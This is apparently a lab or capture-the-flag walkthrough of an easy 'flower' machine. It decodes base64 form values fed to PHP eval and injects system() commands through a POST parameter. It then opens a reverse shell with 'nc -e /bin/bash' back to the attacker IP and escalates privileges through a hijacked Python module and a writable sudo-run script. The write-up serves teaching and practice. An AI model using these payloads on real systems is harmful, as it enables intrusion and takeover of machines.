URL🔗
LevelEasy
Attacker IP10.10.10.10
Target IP10.10.10.11

Intro#

Today I am attacking a simple web application. I will abuse HTTP POST method to inject OS commands spawning reverse shell. Then I am going to escalate my privileges through misconfigured sudoers.

Enumeration#

Nmap#

The basic Nmap scans revealed the TCP port 80 running Apache 2.4.38 and nothing else.

nmap -sCV -oN nmap_tcp_1000 10.10.10.11
# ...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)

In the meantime I’ve ran scanning all the TCP ports (-p-) and UDP ones (-sU) but I didn’t find anything of use.

HTTP#

The web server was running a simple web application allowing to pick flowers from the select element and request for the number of petals for each.

Interestingly, the source code revealed that options had the values resembling the base64-encoded form.

<!DOCTYPE html>

<select name="petals" form="flosub">
	<option name="Lily" value="MSsy">Lily</option>
	<option name="Buttercup" value="Misz">Buttercup</option>
	<option name="Delphiniums" value="Mys1">Delphiniums</option>
	<option name="Cineraria" value="NSs4">Cineraria</option>
	<option name="Chicory" value="OCsxMw==">Chicory</option>
	<option name="Chrysanthemum" value="MTMrMjE=">Chrysanthemum</option>
	<option name="Michaelmas daisies" value="MjErMzQ=">Michaelmas daisies</option>
</select> 

<form action="/" method="post" id="flosub">
 <input type="submit" value="Submit">
</form>

I’ve decoded them quickly with a little bit of bash-magic:

# grab the `value`s and save them to `values_enc.txt`
curl -sS 10.10.10.11 | grep option | awk -F"\"" '{ print $4 }' > values_enc.txt

cat values_enc.txt
MSsy
Misz
Mys1
NSs4
OCsxMw==
MTMrMjE=
MjErMzQ=

# decode `values_enc.txt` line by line
cat values_enc.txt | while read line; do base64 -d <<< $line; echo; done  
1+2
2+3
3+5
5+8
8+13
13+21
21+34

Fun fact: the results loosely resembled the equations for subsequent Fibbonacci sequence values (1+2 = 3, 2+3 = 5, 3+5 = 8 etc.).

Furthermore, it looked like the equations were fed to some kind of calculator that was interpreting them. eval or something like that.

I’ve started the Burp Suite to tinker with that a bit.

Exploitation#

Encoding the value of 1000+2000 resulted in 3000 petals in response:

Trying to inject the command directly didn’t work:

Providing the encoded value of $_REQUEST['petals'] as a payload made the application to return the same value with the petals suffix:

HTTP/1.1 200 OK

# ...
<h2>

JF9SRVFVRVNUWydwZXRhbHMnXQ== petals 
</h2>

This confirmed the eval assumption and led me to thinking about abusing it. Passing the encoded value of system("id") as a petals parameter resulted in the id command output in the response:

HTTP/1.1 200 OK

# ...
<h2>

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data) petals 

This way I obtained a very basic Remote Code Execution as a www-data on the Apache server.

To confirm I have the access to my Kali Linux box directly from the HTTP server on the target, I spawned Python’s simple HTTP server and tried to access it from the target.

python -m http.server 80

echo 'system("wget 10.10.10.10/hello.gif")' | base64
c3lzdGVtKCJ3Z2V0IDEwLjEwLjEwLjEwL2hlbGxvLmdpZiIp

The remote tried to access the non-existent resource on my attack box, confirming the reverse remote access.

Given that I moved on to the reverse shell.

Reverse Shell#

I created an encoded command system("nc -e /bin/bash 10.10.10.10 1337") and sent it with POST request. In the meantime I spawned the Netcat listener locally.

nc -lvp 1337
listening on [any] 1337 ...

# After sending a request
10.10.10.11: inverse host lookup failed: Unknown host
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.11] 40568
ls
flower.jpg
index.php
run.sh
cat run.sh
php -S 0.0.0.0
echo "Hello, World!"
Hello, World!

Priv Esc#

Having the initial foothold, I looked up the /home directory to find the /home/rose/diary/diary.py script:

import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)

From the pickle documentation I learned it can be abused to execute code remotely during the unpickling. I didn’t get much into these docs yet and checked if www-data can run anything of use:

sudo -l 
Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py

It seemed I was able to run the diary.py script as rose.

Horizontal Priv Esc#

Since diary.py imported pickle, I created the pickle.py in the same directory, that would spawn yet another bash. Then I ran diary.py as rose and escalated my privileges to hers:

echo "import os; os.system('/bin/bash')" > pickle.py
sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py

# Privileges escalated
id
uid=1000(rose) gid=1000(rose) groups=1000(rose),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

cat ~/user.txt
<redacted>

Vertical Priv Esc (and Pwned)#

Then, as rose I checked if there are any useful commands to learn about the command callable as root:

sudo -l 
Matching Defaults entries for rose on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rose may run the following commands on flower:
    (root) NOPASSWD: /bin/bash /home/rose/.plantbook

As rose was able to spawn bash to run the .plantbook script, I checked it’s contents.

cat .plantbook

#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)

I could overwrite the .plantbook file with a script spawning yet another bash but I read the flag instead:

echo "cat /root/root.txt" > .plantbook
sudo -u root /bin/bash /home/rose/.plantbook
<redacted>

Pwned.